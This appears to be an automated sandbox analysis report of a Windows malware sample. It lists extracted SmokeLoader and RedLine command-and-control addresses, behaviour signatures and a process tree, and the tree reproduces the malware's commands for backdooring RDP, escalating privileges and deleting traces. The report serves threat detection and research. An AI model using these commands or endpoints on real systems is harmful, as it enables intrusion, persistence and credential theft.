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Analysis
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max time kernel
153s -
max time network
115s -
platform
windows10_x64 -
resource
win10v20210408 -
submitted
12/10/2021, 14:34
Static task
static1
Behavioral task
behavioral1
Sample
188013348e571899fb2afedeede0c92aa21ecc850b9564e26b268e65cb745866.exe
Resource
win10v20210408
General
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Target
188013348e571899fb2afedeede0c92aa21ecc850b9564e26b268e65cb745866.exe
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Size
175KB
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MD5
11ef2eed15aff42b4557fc76093268dc
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SHA1
6e313dd7b69d4cb5f62b047534653e94d72a1757
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SHA256
188013348e571899fb2afedeede0c92aa21ecc850b9564e26b268e65cb745866
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SHA512
8b0cb88000391b9ad09e7103724ef013ec4cac8bc661e124c6d273b66f28e94794c9374bf5f790e87b4d8310f498ff0197fdc15ec582e8955a23bf1c30086656
Malware Config
Extracted
smokeloader
2020
http://linavanandr11.club/
http://iselaharty12.club/
http://giovaninardo13.club/
http://zayneliann14.club/
http://zorinosali15.club/
Extracted
redline
w1
109.234.34.165:12323
Extracted
redline
MegaProliv
93.115.20.139:28978
Extracted
redline
Newpro
139.99.118.252:12517
Signatures
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RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
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RedLine Payload 7 IoCs
resource yara_rule behavioral1/memory/2732-122-0x0000000002460000-0x0000000002491000-memory.dmp family_redline behavioral1/memory/2732-127-0x0000000002630000-0x000000000264C000-memory.dmp family_redline behavioral1/memory/2100-170-0x0000000000400000-0x0000000000422000-memory.dmp family_redline behavioral1/memory/2224-169-0x000000000CB50000-0x000000000CB8D000-memory.dmp family_redline behavioral1/memory/2224-175-0x000000000F1E0000-0x000000000F21C000-memory.dmp family_redline behavioral1/memory/2100-172-0x000000000041B25E-mapping.dmp family_redline behavioral1/memory/2100-193-0x0000000004E40000-0x0000000005446000-memory.dmp family_redline -
ServHelper
ServHelper is a backdoor written in Delphi and is associated with the hacking group TA505.
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SmokeLoader
Modular backdoor trojan in use since 2014.
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Arkei Stealer Payload 1 IoCs
resource yara_rule behavioral1/memory/2948-202-0x0000000000400000-0x0000000004C0B000-memory.dmp family_arkei -
Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.
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Downloads MZ/PE file
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Executes dropped EXE 8 IoCs
pid Process 2732 DCB9.exe 2340 E4B9.exe 1176 E864.exe 2224 F0F0.exe 2948 F631.exe 2100 E864.exe 4048 ttedwuw 352 ttedwuw -
Modifies RDP port number used by Windows 1 TTPs
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Sets DLL path for service in the registry 2 TTPs
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Deletes itself 1 IoCs
pid Process 3060 Process not Found -
Loads dropped DLL 3 IoCs
pid Process 2948 F631.exe 2948 F631.exe 2948 F631.exe -
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
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Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
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Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
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Drops file in System32 directory 1 IoCs
description ioc Process File created C:\Windows\SysWOW64\rdpclip.exe powershell.exe -
Suspicious use of SetThreadContext 3 IoCs
description pid Process procid_target PID 656 set thread context of 2384 656 188013348e571899fb2afedeede0c92aa21ecc850b9564e26b268e65cb745866.exe 72 PID 1176 set thread context of 2100 1176 E864.exe 78 PID 4048 set thread context of 352 4048 ttedwuw 97 -
Drops file in Windows directory 8 IoCs
description ioc Process File opened for modification C:\Windows\branding\ShellBrd powershell.exe File opened for modification C:\Windows\branding\mediasrv.png powershell.exe File opened for modification C:\Windows\branding\mediasvc.png powershell.exe File opened for modification C:\Windows\branding\wupsvc.jpg powershell.exe File created C:\Windows\branding\mediasrv.png powershell.exe File created C:\Windows\branding\mediasvc.png powershell.exe File created C:\Windows\branding\wupsvc.jpg powershell.exe File opened for modification C:\Windows\branding\Basebrd powershell.exe -
Program crash 1 IoCs
pid pid_target Process procid_target 1688 2948 WerFault.exe 80 -
Checks SCSI registry key(s) 3 TTPs 6 IoCs
SCSI information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI 188013348e571899fb2afedeede0c92aa21ecc850b9564e26b268e65cb745866.exe Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI 188013348e571899fb2afedeede0c92aa21ecc850b9564e26b268e65cb745866.exe Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI 188013348e571899fb2afedeede0c92aa21ecc850b9564e26b268e65cb745866.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI ttedwuw Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI ttedwuw Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI ttedwuw -
Modifies registry key 1 TTPs 1 IoCs
pid Process 2232 reg.exe -
Runs net.exe
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Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 2384 188013348e571899fb2afedeede0c92aa21ecc850b9564e26b268e65cb745866.exe 2384 188013348e571899fb2afedeede0c92aa21ecc850b9564e26b268e65cb745866.exe 3060 Process not Found 3060 Process not Found 3060 Process not Found 3060 Process not Found 3060 Process not Found 3060 Process not Found 3060 Process not Found 3060 Process not Found 3060 Process not Found 3060 Process not Found 3060 Process not Found 3060 Process not Found 3060 Process not Found 3060 Process not Found 3060 Process not Found 3060 Process not Found 3060 Process not Found 3060 Process not Found 3060 Process not Found 3060 Process not Found 3060 Process not Found 3060 Process not Found 3060 Process not Found 3060 Process not Found 3060 Process not Found 3060 Process not Found 3060 Process not Found 3060 Process not Found 3060 Process not Found 3060 Process not Found 3060 Process not Found 3060 Process not Found 3060 Process not Found 3060 Process not Found 3060 Process not Found 3060 Process not Found 3060 Process not Found 3060 Process not Found 3060 Process not Found 3060 Process not Found 3060 Process not Found 3060 Process not Found 3060 Process not Found 3060 Process not Found 3060 Process not Found 3060 Process not Found 3060 Process not Found 3060 Process not Found 3060 Process not Found 3060 Process not Found 3060 Process not Found 3060 Process not Found 3060 Process not Found 3060 Process not Found 3060 Process not Found 3060 Process not Found 3060 Process not Found 3060 Process not Found 3060 Process not Found 3060 Process not Found 3060 Process not Found 3060 Process not Found -
Suspicious behavior: GetForegroundWindowSpam 1 IoCs
pid Process 3060 Process not Found -
Suspicious behavior: LoadsDriver 1 IoCs
pid Process 624 Process not Found -
Suspicious behavior: MapViewOfSection 2 IoCs
pid Process 2384 188013348e571899fb2afedeede0c92aa21ecc850b9564e26b268e65cb745866.exe 352 ttedwuw -
Suspicious use of AdjustPrivilegeToken 46 IoCs
description pid Process Token: SeShutdownPrivilege 3060 Process not Found Token: SeCreatePagefilePrivilege 3060 Process not Found Token: SeShutdownPrivilege 3060 Process not Found Token: SeCreatePagefilePrivilege 3060 Process not Found Token: SeShutdownPrivilege 3060 Process not Found Token: SeCreatePagefilePrivilege 3060 Process not Found Token: SeShutdownPrivilege 3060 Process not Found Token: SeCreatePagefilePrivilege 3060 Process not Found Token: SeShutdownPrivilege 3060 Process not Found Token: SeCreatePagefilePrivilege 3060 Process not Found Token: SeShutdownPrivilege 3060 Process not Found Token: SeCreatePagefilePrivilege 3060 Process not Found Token: SeDebugPrivilege 2732 DCB9.exe Token: SeDebugPrivilege 3868 powershell.exe Token: SeDebugPrivilege 2100 E864.exe Token: SeDebugPrivilege 2224 F0F0.exe Token: SeRestorePrivilege 1688 WerFault.exe Token: SeBackupPrivilege 1688 WerFault.exe Token: SeDebugPrivilege 1688 WerFault.exe Token: SeShutdownPrivilege 3060 Process not Found Token: SeCreatePagefilePrivilege 3060 Process not Found Token: SeShutdownPrivilege 3060 Process not Found Token: SeCreatePagefilePrivilege 3060 Process not Found Token: SeShutdownPrivilege 3060 Process not Found Token: SeCreatePagefilePrivilege 3060 Process not Found Token: SeShutdownPrivilege 3060 Process not Found Token: SeCreatePagefilePrivilege 3060 Process not Found Token: SeShutdownPrivilege 3060 Process not Found Token: SeCreatePagefilePrivilege 3060 Process not Found Token: SeShutdownPrivilege 3060 Process not Found Token: SeCreatePagefilePrivilege 3060 Process not Found Token: SeShutdownPrivilege 3060 Process not Found Token: SeCreatePagefilePrivilege 3060 Process not Found Token: SeDebugPrivilege 2524 powershell.exe Token: SeDebugPrivilege 3056 powershell.exe Token: SeDebugPrivilege 2300 powershell.exe Token: SeShutdownPrivilege 3060 Process not Found Token: SeCreatePagefilePrivilege 3060 Process not Found Token: SeShutdownPrivilege 3060 Process not Found Token: SeCreatePagefilePrivilege 3060 Process not Found Token: SeShutdownPrivilege 3060 Process not Found Token: SeCreatePagefilePrivilege 3060 Process not Found Token: SeShutdownPrivilege 3060 Process not Found Token: SeCreatePagefilePrivilege 3060 Process not Found Token: SeShutdownPrivilege 3060 Process not Found Token: SeCreatePagefilePrivilege 3060 Process not Found -
Suspicious use of FindShellTrayWindow 4 IoCs
pid Process 3060 Process not Found 3060 Process not Found 3060 Process not Found 3060 Process not Found -
Suspicious use of SendNotifyMessage 2 IoCs
pid Process 3060 Process not Found 3060 Process not Found -
Suspicious use of UnmapMainImage 1 IoCs
pid Process 3060 Process not Found -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 656 wrote to memory of 2384 656 188013348e571899fb2afedeede0c92aa21ecc850b9564e26b268e65cb745866.exe 72 PID 656 wrote to memory of 2384 656 188013348e571899fb2afedeede0c92aa21ecc850b9564e26b268e65cb745866.exe 72 PID 656 wrote to memory of 2384 656 188013348e571899fb2afedeede0c92aa21ecc850b9564e26b268e65cb745866.exe 72 PID 656 wrote to memory of 2384 656 188013348e571899fb2afedeede0c92aa21ecc850b9564e26b268e65cb745866.exe 72 PID 656 wrote to memory of 2384 656 188013348e571899fb2afedeede0c92aa21ecc850b9564e26b268e65cb745866.exe 72 PID 656 wrote to memory of 2384 656 188013348e571899fb2afedeede0c92aa21ecc850b9564e26b268e65cb745866.exe 72 PID 3060 wrote to memory of 2732 3060 Process not Found 74 PID 3060 wrote to memory of 2732 3060 Process not Found 74 PID 3060 wrote to memory of 2732 3060 Process not Found 74 PID 3060 wrote to memory of 2340 3060 Process not Found 75 PID 3060 wrote to memory of 2340 3060 Process not Found 75 PID 3060 wrote to memory of 2340 3060 Process not Found 75 PID 3060 wrote to memory of 1176 3060 Process not Found 76 PID 3060 wrote to memory of 1176 3060 Process not Found 76 PID 3060 wrote to memory of 1176 3060 Process not Found 76 PID 1176 wrote to memory of 2100 1176 E864.exe 78 PID 1176 wrote to memory of 2100 1176 E864.exe 78 PID 1176 wrote to memory of 2100 1176 E864.exe 78 PID 3060 wrote to memory of 2224 3060 Process not Found 79 PID 3060 wrote to memory of 2224 3060 Process not Found 79 PID 3060 wrote to memory of 2224 3060 Process not Found 79 PID 3060 wrote to memory of 2948 3060 Process not Found 80 PID 3060 wrote to memory of 2948 3060 Process not Found 80 PID 3060 wrote to memory of 2948 3060 Process not Found 80 PID 1176 wrote to memory of 2100 1176 E864.exe 78 PID 1176 wrote to memory of 2100 1176 E864.exe 78 PID 1176 wrote to memory of 2100 1176 E864.exe 78 PID 1176 wrote to memory of 2100 1176 E864.exe 78 PID 1176 wrote to memory of 2100 1176 E864.exe 78 PID 2340 wrote to memory of 3868 2340 E4B9.exe 81 PID 2340 wrote to memory of 3868 2340 E4B9.exe 81 PID 2340 wrote to memory of 3868 2340 E4B9.exe 81 PID 3868 wrote to memory of 3836 3868 powershell.exe 85 PID 3868 wrote to memory of 3836 3868 powershell.exe 85 PID 3868 wrote to memory of 3836 3868 powershell.exe 85 PID 3836 wrote to memory of 3516 3836 csc.exe 86 PID 3836 wrote to memory of 3516 3836 csc.exe 86 PID 3836 wrote to memory of 3516 3836 csc.exe 86 PID 3868 wrote to memory of 2524 3868 powershell.exe 87 PID 3868 wrote to memory of 2524 3868 powershell.exe 87 PID 3868 wrote to memory of 2524 3868 powershell.exe 87 PID 3868 wrote to memory of 3056 3868 powershell.exe 92 PID 3868 wrote to memory of 3056 3868 powershell.exe 92 PID 3868 wrote to memory of 3056 3868 powershell.exe 92 PID 3868 wrote to memory of 2300 3868 powershell.exe 95 PID 3868 wrote to memory of 2300 3868 powershell.exe 95 PID 3868 wrote to memory of 2300 3868 powershell.exe 95 PID 4048 wrote to memory of 352 4048 ttedwuw 97 PID 4048 wrote to memory of 352 4048 ttedwuw 97 PID 4048 wrote to memory of 352 4048 ttedwuw 97 PID 4048 wrote to memory of 352 4048 ttedwuw 97 PID 4048 wrote to memory of 352 4048 ttedwuw 97 PID 4048 wrote to memory of 352 4048 ttedwuw 97 PID 3868 wrote to memory of 1480 3868 powershell.exe 98 PID 3868 wrote to memory of 1480 3868 powershell.exe 98 PID 3868 wrote to memory of 1480 3868 powershell.exe 98 PID 3868 wrote to memory of 2232 3868 powershell.exe 99 PID 3868 wrote to memory of 2232 3868 powershell.exe 99 PID 3868 wrote to memory of 2232 3868 powershell.exe 99 PID 3868 wrote to memory of 2100 3868 powershell.exe 100 PID 3868 wrote to memory of 2100 3868 powershell.exe 100 PID 3868 wrote to memory of 2100 3868 powershell.exe 100 PID 3868 wrote to memory of 1904 3868 powershell.exe 101 PID 3868 wrote to memory of 1904 3868 powershell.exe 101
Processes
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C:\Users\Admin\AppData\Local\Temp\188013348e571899fb2afedeede0c92aa21ecc850b9564e26b268e65cb745866.exe"C:\Users\Admin\AppData\Local\Temp\188013348e571899fb2afedeede0c92aa21ecc850b9564e26b268e65cb745866.exe"1⤵
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:656 -
C:\Users\Admin\AppData\Local\Temp\188013348e571899fb2afedeede0c92aa21ecc850b9564e26b268e65cb745866.exe"C:\Users\Admin\AppData\Local\Temp\188013348e571899fb2afedeede0c92aa21ecc850b9564e26b268e65cb745866.exe"2⤵
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
PID:2384
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C:\Users\Admin\AppData\Local\Temp\DCB9.exeC:\Users\Admin\AppData\Local\Temp\DCB9.exe1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2732
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C:\Users\Admin\AppData\Local\Temp\E4B9.exeC:\Users\Admin\AppData\Local\Temp\E4B9.exe1⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:2340 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'2⤵
- Drops file in System32 directory
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3868 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\e1dbvxqd\e1dbvxqd.cmdline"3⤵
- Suspicious use of WriteProcessMemory
PID:3836 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES34EC.tmp" "c:\Users\Admin\AppData\Local\Temp\e1dbvxqd\CSCF60A7DCE46744318BB38C04A32A4D668.TMP"4⤵PID:3516
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile3⤵
- Suspicious use of AdjustPrivilegeToken
PID:2524
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile3⤵
- Suspicious use of AdjustPrivilegeToken
PID:3056
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile3⤵
- Suspicious use of AdjustPrivilegeToken
PID:2300
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C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f3⤵PID:1480
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C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f3⤵
- Modifies registry key
PID:2232
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C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f3⤵PID:2100
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C:\Windows\SysWOW64\net.exe"C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add3⤵PID:1904
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C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add4⤵PID:3200
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr3⤵PID:1868
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C:\Windows\SysWOW64\cmd.execmd /c net start rdpdr4⤵PID:2728
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C:\Windows\SysWOW64\net.exenet start rdpdr5⤵PID:3888
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C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 start rdpdr6⤵PID:3920
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c cmd /c net start TermService3⤵PID:3844
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C:\Windows\SysWOW64\cmd.execmd /c net start TermService4⤵PID:640
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C:\Windows\SysWOW64\net.exenet start TermService5⤵PID:1176
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C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 start TermService6⤵PID:4088
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f3⤵PID:1380
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f3⤵PID:2148
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C:\Users\Admin\AppData\Local\Temp\E864.exeC:\Users\Admin\AppData\Local\Temp\E864.exe1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:1176 -
C:\Users\Admin\AppData\Local\Temp\E864.exeC:\Users\Admin\AppData\Local\Temp\E864.exe2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2100
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C:\Users\Admin\AppData\Local\Temp\F0F0.exeC:\Users\Admin\AppData\Local\Temp\F0F0.exe1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2224
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C:\Users\Admin\AppData\Local\Temp\F631.exeC:\Users\Admin\AppData\Local\Temp\F631.exe1⤵
- Executes dropped EXE
- Loads dropped DLL
PID:2948 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2948 -s 12842⤵
- Program crash
- Suspicious use of AdjustPrivilegeToken
PID:1688
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C:\Users\Admin\AppData\Roaming\ttedwuwC:\Users\Admin\AppData\Roaming\ttedwuw1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:4048 -
C:\Users\Admin\AppData\Roaming\ttedwuwC:\Users\Admin\AppData\Roaming\ttedwuw2⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
PID:352
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